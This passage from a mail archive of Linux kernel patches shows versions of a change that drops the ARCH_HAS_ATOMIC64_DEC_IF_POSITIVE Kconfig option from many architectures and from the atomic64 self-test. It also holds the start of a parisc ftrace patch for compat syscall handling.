Cc: sparclinux@vger.kernel.org
Cc: linux-snps-arc@lists.infradead.org
Cc: linux-arch@vger.kernel.org
Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
---
 arch/alpha/Kconfig   | 1 -
 arch/arm/Kconfig     | 1 -
 arch/arm64/Kconfig   | 1 -
 arch/mips/Kconfig    | 1 -
 arch/parisc/Kconfig  | 1 -
 arch/powerpc/Kconfig | 1 -
 arch/s390/Kconfig    | 2 +-
 arch/sparc/Kconfig   | 1 -
 arch/tile/Kconfig    | 2 +-
 arch/x86/Kconfig     | 2 +-
 lib/Kconfig          | 3 ---
 lib/atomic64_test.c  | 4 ----
 12 files changed, 3 insertions(+), 17 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 7f312d80b43b..0e49d39ea74a 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -15,7 +15,6 @@ config ALPHA
 	select GENERIC_IRQ_SHOW
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select AUDIT_ARCH
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_SMP_IDLE_THREAD
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index a9c4e48bb7ec..2a50957c7bfb 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -1,7 +1,6 @@
 config ARM
 	bool
 	default y
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index bc3f00f586f1..3df2ca7efbcc 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -6,7 +6,6 @@ config ARM64
 	select ACPI_MCFG if ACPI
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ACPI_TABLE_UPGRADE if ACPI
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_KCOV
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 26388562e300..5bbea197c220 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -30,7 +30,6 @@ config MIPS
 	select HAVE_ARCH_TRANSPARENT_HUGEPAGE if CPU_SUPPORTS_HUGEPAGES && 64BIT
 	select RTC_LIB if !MACH_LOONGSON64
 	select GENERIC_ATOMIC64 if !64BIT
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_DMA_API_DEBUG
 	select GENERIC_IRQ_PROBE
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index af12c2db9bb8..8a96bdcc3807 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -14,7 +14,6 @@ config PARISC
 	select BUILDTIME_EXTABLE_SORT
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select BROKEN_RODATA
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PCI_IOMAP
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 927d2ab2ce08..18d1b42cf545 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -113,7 +113,6 @@ config PPC
 	select HAVE_DEBUG_KMEMLEAK
 	select ARCH_HAS_SG_CHAIN
 	select GENERIC_ATOMIC64 if PPC32
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select HAVE_PERF_EVENTS
 	select HAVE_PERF_REGS
 	select HAVE_PERF_USER_STACK_DUMP
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index c109f073d454..af52b07efde2 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -67,7 +67,7 @@ config DEBUG_RODATA
 
 config S390
 	def_bool y
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_GCOV_PROFILE_ALL
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 59b09600dd32..bfedbe0cb7b2 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -22,7 +22,6 @@ config SPARC
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_EXIT_THREAD
 	select SYSCTL_EXCEPTION_TRACE
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select RTC_CLASS
 	select RTC_DRV_M48T59
 	select RTC_SYSTOHC
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 78da75b670bc..12eda5440c93 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -3,7 +3,7 @@
 
 config TILE
 	def_bool y
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select ARCH_WANT_FRAME_POINTERS
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 2a1f0ce7c59a..0cf609998550 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -23,7 +23,7 @@ config X86
 	select ARCH_CLOCKSOURCE_DATA
 	select ARCH_DISCARD_MEMBLOCK
 	select ARCH_HAS_ACPI_TABLE_UPGRADE if ACPI
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_FAST_MULTIPLIER
diff --git a/lib/Kconfig b/lib/Kconfig
index d79909dc01ec..0e74df3c5441 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -457,9 +457,6 @@ config NLATTR
 config GENERIC_ATOMIC64
        bool
 
-config ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
-	def_bool y if GENERIC_ATOMIC64
-
 config LRU_CACHE
 	tristate
 
diff --git a/lib/atomic64_test.c b/lib/atomic64_test.c
index dbb369145dda..46042901130f 100644
--- a/lib/atomic64_test.c
+++ b/lib/atomic64_test.c
@@ -213,7 +213,6 @@ static __init void test_atomic64(void)
 	r += one;
 	BUG_ON(v.counter != r);
 
-#ifdef CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	INIT(onestwos);
 	BUG_ON(atomic64_dec_if_positive(&v) != (onestwos - 1));
 	r -= one;
@@ -226,9 +225,6 @@ static __init void test_atomic64(void)
 	INIT(-one);
 	BUG_ON(atomic64_dec_if_positive(&v) != (-one - one));
 	BUG_ON(v.counter != r);
-#else
-#warning Please implement atomic64_dec_if_positive for your architecture and select the above Kconfig symbol
-#endif
 
 	INIT(onestwos);
 	BUG_ON(!atomic64_inc_not_zero(&v));
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 2/2] atomic64: No need for CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
Date: Mon, 12 Sep 2016 10:58:03 -0700
Lines: 244
Approved: news@gmane.org
Message-ID: <1473703083-8625-3-git-send-email-vgupta@synopsys.com>
References: <201609111259.q67d9T4B%fengguang.wu@intel.com>
 <1473703083-8625-1-git-send-email-vgupta@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1473703141 20856 195.159.176.226 (12 Sep 2016 17:59:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Sep 2016 17:59:01 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>,
        <linux-snps-arc@lists.infradead.org>,
        Vineet Gupta <Vineet.Gupta1@synopsys.com>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        "Michael Ellerman" <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Metcalf <cmetcalf@mellanox.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        "Ingo Molnar" <mingo@kernel.org>,
        Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 12 19:58:51 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bjVVJ-0004IM-J8
	for glpp-linux-parisc@m.gmane.org; Mon, 12 Sep 2016 19:58:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755149AbcILR6u (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 12 Sep 2016 13:58:50 -0400
Original-Received: from smtprelay2.synopsys.com ([198.182.60.111]:47530 "EHLO
        smtprelay.synopsys.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754434AbcILR6s (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 12 Sep 2016 13:58:48 -0400
Original-Received: from us02secmta1.synopsys.com (us02secmta1.synopsys.com [10.12.235.96])
        by smtprelay.synopsys.com (Postfix) with ESMTP id F3A4E10C0B84;
        Mon, 12 Sep 2016 10:58:39 -0700 (PDT)
Original-Received: from us02secmta1.internal.synopsys.com (us02secmta1.internal.synopsys.com [127.0.0.1])
        by us02secmta1.internal.synopsys.com (Service) with ESMTP id EF04A4E215;
        Mon, 12 Sep 2016 10:58:39 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (unknown [10.13.184.66])
        by us02secmta1.internal.synopsys.com (Service) with ESMTP id E5BFD4E202;
        Mon, 12 Sep 2016 10:58:38 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
        by mailhost.synopsys.com (Postfix) with ESMTP id ACF146A6;
        Mon, 12 Sep 2016 10:58:38 -0700 (PDT)
Original-Received: from US01WXQAHTC1.internal.synopsys.com (us01wxqahtc1.internal.synopsys.com [10.12.238.230])
        by mailhost.synopsys.com (Postfix) with ESMTP id 1E94969E;
        Mon, 12 Sep 2016 10:58:38 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
 US01WXQAHTC1.internal.synopsys.com (10.12.238.230) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Mon, 12 Sep 2016 10:58:37 -0700
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.103) by
 IN01WEHTCB.internal.synopsys.com (10.144.199.105) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Mon, 12 Sep 2016 23:28:35 +0530
Original-Received: from vineetg-Latitude-E7450.internal.synopsys.com (10.9.130.78) by
 IN01WEHTCA.internal.synopsys.com (10.144.199.243) with Microsoft SMTP Server
 (TLS) id 14.3.266.1; Mon, 12 Sep 2016 23:28:34 +0530
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1473703083-8625-1-git-send-email-vgupta@synopsys.com>
X-Originating-IP: [10.9.130.78]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26960 gmane.linux.kernel:2306800 gmane.linux.kernel.arc:1469 gmane.linux.ports.alpha:3887 gmane.linux.ports.arm.kernel:527106 gmane.linux.ports.mips.general:56275 gmane.linux.ports.ppc64.devel:132802 gmane.linux.ports.sparc:23622 gmane.linux.kernel.cross-arch:33775
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26960>

This came to light when implementing native 64-bit atomics for ARCv2.

The atomic64 self-test code uses CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
to check whether atomic64_dec_if_positive() is available.
It seems it was needed when not every arch defined it.
However as of current code the Kconfig option seems needless

- for CONFIG_GENERIC_ATOMIC64 it is auto-enabled in lib/Kconfig and a
  generic definition of API is present lib/atomic64.c
- arches with native 64-bit atomics select it in arch/*/Kconfig and
  define the API in their headers

So I see no point in keeping the Kconfig option

Compile tested for:
 - blackfin (CONFIG_GENERIC_ATOMIC64)
 - x86 (!CONFIG_GENERIC_ATOMIC64)
 - ia64

Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Russell King <linux@armlinux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: x86@kernel.org
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
Cc: Linus Walleij <linus.walleij@linaro.org>
Cc: Matthew Wilcox <willy@linux.intel.com>
Cc: Alexander Potapenko <glider@google.com>
Cc: Andrey Ryabinin <aryabinin@virtuozzo.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Cc: Ming Lin <ming.l@ssi.samsung.com>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Borislav Petkov <bp@suse.de>
Cc: Andi Kleen <ak@linux.intel.com>
Cc: Boqun Feng <boqun.feng@gmail.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-snps-arc@lists.infradead.org
Cc: linux-arch@vger.kernel.org
Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
---
 arch/alpha/Kconfig   | 1 -
 arch/arm/Kconfig     | 1 -
 arch/arm64/Kconfig   | 1 -
 arch/mips/Kconfig    | 1 -
 arch/parisc/Kconfig  | 1 -
 arch/powerpc/Kconfig | 1 -
 arch/s390/Kconfig    | 1 -
 arch/sparc/Kconfig   | 1 -
 arch/tile/Kconfig    | 1 -
 arch/x86/Kconfig     | 1 -
 lib/Kconfig          | 3 ---
 lib/atomic64_test.c  | 4 ----
 12 files changed, 17 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 7f312d80b43b..0e49d39ea74a 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -15,7 +15,6 @@ config ALPHA
 	select GENERIC_IRQ_SHOW
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select AUDIT_ARCH
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_SMP_IDLE_THREAD
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index a9c4e48bb7ec..2a50957c7bfb 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -1,7 +1,6 @@
 config ARM
 	bool
 	default y
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index bc3f00f586f1..3df2ca7efbcc 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -6,7 +6,6 @@ config ARM64
 	select ACPI_MCFG if ACPI
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ACPI_TABLE_UPGRADE if ACPI
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_KCOV
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 26388562e300..5bbea197c220 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -30,7 +30,6 @@ config MIPS
 	select HAVE_ARCH_TRANSPARENT_HUGEPAGE if CPU_SUPPORTS_HUGEPAGES && 64BIT
 	select RTC_LIB if !MACH_LOONGSON64
 	select GENERIC_ATOMIC64 if !64BIT
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_DMA_API_DEBUG
 	select GENERIC_IRQ_PROBE
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index af12c2db9bb8..8a96bdcc3807 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -14,7 +14,6 @@ config PARISC
 	select BUILDTIME_EXTABLE_SORT
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select BROKEN_RODATA
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PCI_IOMAP
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 927d2ab2ce08..18d1b42cf545 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -113,7 +113,6 @@ config PPC
 	select HAVE_DEBUG_KMEMLEAK
 	select ARCH_HAS_SG_CHAIN
 	select GENERIC_ATOMIC64 if PPC32
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select HAVE_PERF_EVENTS
 	select HAVE_PERF_REGS
 	select HAVE_PERF_USER_STACK_DUMP
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index c109f073d454..d89d97ac83c4 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -67,7 +67,6 @@ config DEBUG_RODATA
 
 config S390
 	def_bool y
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_GCOV_PROFILE_ALL
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 59b09600dd32..bfedbe0cb7b2 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -22,7 +22,6 @@ config SPARC
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_EXIT_THREAD
 	select SYSCTL_EXCEPTION_TRACE
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select RTC_CLASS
 	select RTC_DRV_M48T59
 	select RTC_SYSTOHC
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 78da75b670bc..4583c0320059 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -3,7 +3,6 @@
 
 config TILE
 	def_bool y
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select ARCH_WANT_FRAME_POINTERS
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 2a1f0ce7c59a..018076fcffcf 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -23,7 +23,6 @@ config X86
 	select ARCH_CLOCKSOURCE_DATA
 	select ARCH_DISCARD_MEMBLOCK
 	select ARCH_HAS_ACPI_TABLE_UPGRADE if ACPI
-	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
 	select ARCH_HAS_FAST_MULTIPLIER
diff --git a/lib/Kconfig b/lib/Kconfig
index d79909dc01ec..0e74df3c5441 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -457,9 +457,6 @@ config NLATTR
 config GENERIC_ATOMIC64
        bool
 
-config ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
-	def_bool y if GENERIC_ATOMIC64
-
 config LRU_CACHE
 	tristate
 
diff --git a/lib/atomic64_test.c b/lib/atomic64_test.c
index dbb369145dda..46042901130f 100644
--- a/lib/atomic64_test.c
+++ b/lib/atomic64_test.c
@@ -213,7 +213,6 @@ static __init void test_atomic64(void)
 	r += one;
 	BUG_ON(v.counter != r);
 
-#ifdef CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	INIT(onestwos);
 	BUG_ON(atomic64_dec_if_positive(&v) != (onestwos - 1));
 	r -= one;
@@ -226,9 +225,6 @@ static __init void test_atomic64(void)
 	INIT(-one);
 	BUG_ON(atomic64_dec_if_positive(&v) != (-one - one));
 	BUG_ON(v.counter != r);
-#else
-#warning Please implement atomic64_dec_if_positive for your architecture and select the above Kconfig symbol
-#endif
 
 	INIT(onestwos);
 	BUG_ON(!atomic64_inc_not_zero(&v));
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Marcin Nowakowski <marcin.nowakowski@imgtec.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2 11/11] parisc/tracing: fix compat syscall handling
Date: Fri, 16 Sep 2016 09:11:27 +0200
Lines: 84
Approved: news@gmane.org
Message-ID: <1474009887-7225-12-git-send-email-marcin.nowakowski@imgtec.com>
References: <1474009887-7225-1-git-send-email-marcin.nowakowski@imgtec.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1474009968 8388 195.159.176.226 (16 Sep 2016 07:12:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 16 Sep 2016 07:12:48 +0000 (UTC)
Cc: Marcin Nowakowski <marcin.nowakowski@imgtec.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 16 09:12:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bknJw-00081d-Ca
	for glpp-linux-parisc@m.gmane.org; Fri, 16 Sep 2016 09:12:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1757597AbcIPHMX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 16 Sep 2016 03:12:23 -0400
Original-Received: from mailapp01.imgtec.com ([195.59.15.196]:11306 "EHLO
        mailapp01.imgtec.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1757532AbcIPHMV (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 16 Sep 2016 03:12:21 -0400
Original-Received: from HHMAIL01.hh.imgtec.org (unknown [10.100.10.19])
        by Forcepoint Email with ESMTPS id 9D0075E114D9F;
        Fri, 16 Sep 2016 08:12:06 +0100 (IST)
Original-Received: from WR-NOWAKOWSKI.kl.imgtec.org (10.80.2.5) by
 HHMAIL01.hh.imgtec.org (10.100.10.21) with Microsoft SMTP Server (TLS) id
 14.3.294.0; Fri, 16 Sep 2016 08:12:08 +0100
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1474009887-7225-1-git-send-email-marcin.nowakowski@imgtec.com>
X-Originating-IP: [10.80.2.5]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26961 gmane.linux.kernel:2309909
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26961>

Add missing arch code - arch_trace_is_compat_syscall and
arch_syscall_addr

Signed-off-by: Marcin Nowakowski <marcin.nowakowski@imgtec.com>
Cc: Steven Rostedt <rostedt@goodmis.org>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/include/asm/ftrace.h | 10 ++++++++++
 arch/parisc/kernel/Makefile      |  1 +
 arch/parisc/kernel/ftrace.c      | 15 +++++++++++++++
 3 files changed, 26 insertions(+)

diff --git a/arch/parisc/include/asm/ftrace.h b/arch/parisc/include/asm/ftrace.h
index d635c6b..0b54385 100644
--- a/arch/parisc/include/asm/ftrace.h
+++ b/arch/parisc/include/asm/ftrace.h
@@ -12,6 +12,16 @@ extern unsigned long return_address(unsigned int);
 
 #define ftrace_return_address(n) return_address(n)
 
+#if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_COMPAT)
+#include <linux/compat.h>
+
+#define ARCH_COMPAT_SYSCALL_NUMBERS_OVERLAP 1
+static inline bool arch_trace_is_compat_syscall(struct pt_regs *regs)
+{
+	return in_compat_syscall();
+}
+#endif /* CONFIG_FTRACE_SYSCALLS && CONFIG_COMPAT */
+
 #endif /* __ASSEMBLY__ */
 
 #endif /* _ASM_PARISC_FTRACE_H */
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 69a1118..7d1fd39 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -31,3 +31,4 @@ obj64-$(CONFIG_AUDIT)	+= compat_audit.o
 obj-$(CONFIG_64BIT)	+= perf.o perf_asm.o $(obj64-y)
 obj-$(CONFIG_FUNCTION_TRACER)		+= ftrace.o
 obj-$(CONFIG_FUNCTION_GRAPH_TRACER)	+= ftrace.o
+obj-$(CONFIG_FTRACE_SYSCALLS)	+= ftrace.o
diff --git a/arch/parisc/kernel/ftrace.c b/arch/parisc/kernel/ftrace.c
index a828a0a..5991fe9 100644
--- a/arch/parisc/kernel/ftrace.c
+++ b/arch/parisc/kernel/ftrace.c
@@ -56,6 +56,7 @@ static void __hot prepare_ftrace_return(unsigned long *parent,
 }
 #endif /* CONFIG_FUNCTION_GRAPH_TRACER */
 
+#ifdef CONFIG_FUNCTION_TRACER
 void notrace __hot ftrace_function_trampoline(unsigned long parent,
 				unsigned long self_addr,
 				unsigned long org_sp_gr3)
@@ -85,4 +86,18 @@ void notrace __hot ftrace_function_trampoline(unsigned long parent,
 	}
 #endif
 }
+#endif /* CONFIG_FUNCTION_TRACER */
+#if (defined CONFIG_FTRACE_SYSCALLS) && (defined CONFIG_64BIT)
+extern const unsigned int sys_call_table64[];
 
